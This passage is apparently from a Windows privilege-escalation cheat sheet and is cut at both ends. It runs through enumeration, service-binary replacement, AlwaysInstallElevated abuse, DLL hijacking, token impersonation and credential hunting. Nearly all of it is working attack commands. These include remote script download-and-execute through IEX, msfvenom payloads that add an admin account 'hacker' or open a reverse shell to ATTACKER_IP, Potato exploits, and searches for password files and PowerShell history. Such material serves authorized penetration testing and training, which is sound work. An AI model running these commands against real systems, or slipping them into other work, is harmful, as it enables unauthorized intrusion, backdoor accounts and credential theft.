systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
whoami /all
net user
net localgroup
net localgroup administrators
hostname
ipconfig /all
Current User Privileges
whoami /priv
whoami /groups
net user %username%
Phase 2: Automated Enumeration
WinPEAS (Primary Tool)
# Download and run WinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe -o winPEAS.exe
.\winPEAS.exe | Tee-Object -FilePath "winpeas_output.txt"
# Alternative: PowerShell version
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
PowerUp.ps1 (Alternative)
# Download and run PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks
# Or copy from Kali
cp /usr/share/powershell-empire/empire/server/data/module_source/privesc/PowerUp.ps1 .
Windows Exploit Suggester
# Run systeminfo and save output
systeminfo > systeminfo.txt
# On Kali, run exploit suggester
python3 /opt/wesng/wes.py systeminfo.txt
Phase 3: Service Enumeration & Exploitation
Service Permissions
# List all services
sc query state= all
# Check service permissions
icacls "C:\Program Files\Service\service.exe"
# Find services with weak permissions
Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\*" | Format-Table
# PowerShell service enumeration
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}
# If service binary is writable
icacls "C:\Program Files\Service\service.exe"
# Replace with malicious binary
copy evil.exe "C:\Program Files\Service\service.exe"
# Restart service
net stop ServiceName
net start ServiceName
Phase 4: Registry Exploitation
AlwaysInstallElevated
# Check if AlwaysInstallElevated is enabled
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both return 0x1, create MSI payload
msfvenom -p windows/adduser USER=hacker PASS=password123 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi
# List scheduled tasks
schtasks /query /fo LIST /v
# Check for writable task binaries
schtasks /query /fo LIST /v | findstr /B /C:"Task To Run"
# PowerShell method
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} | Select-Object TaskName,TaskPath
Process Monitoring
# Monitor processes for credentials
Get-WmiObject Win32_Process | Select-Object ProcessId,Name,CommandLine
# Use ProcessMonitor (ProcMon) for detailed analysis
Phase 6: DLL Hijacking
DLL Search Order
# Check for missing DLLs
# 1. Application directory
# 2. System32
# 3. System
# 4. Windows directory
# 5. Current directory
# 6. PATH directories
# Find processes loading DLLs from writable directories
DLL Hijacking Exploitation
# Create malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll > evil.dll
# Place in writable location in DLL search path
copy evil.dll "C:\Writable\Path\missing.dll"
Phase 7: Token Impersonation
SeImpersonatePrivilege Abuse
# Check for SeImpersonate or SeAssignPrimaryToken
whoami /priv
# If present, use JuicyPotato, PrintSpoofer, or RoguePotato
Token Impersonation Tools (Preferred Methods)
# SweetPotato (Recommended - works on most systems)
.\SweetPotato.exe -p c:\windows\system32\cmd.exe -a "/c whoami"
# PrintSpoofer (For Windows Server 2016/2019)
.\PrintSpoofer64.exe -i -c cmd
# JuicyPotato (For older versions)
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami > C:\temp\output.txt" -t *
Phase 8: Credential Hunting
Password Files & History
# Search for password files
dir /s *password*
dir /s *cred*
dir /s *vnc*
dir /s *.config
# PowerShell credential hunting
Get-ChildItem -Path C:\ -Include *password*,*cred*,*vnc* -Recurse -Force -ErrorAction SilentlyContinue
PowerShell History
# Check PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# All users' PowerShell history
Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ -Name ConsoleHost_history.txt -Recurse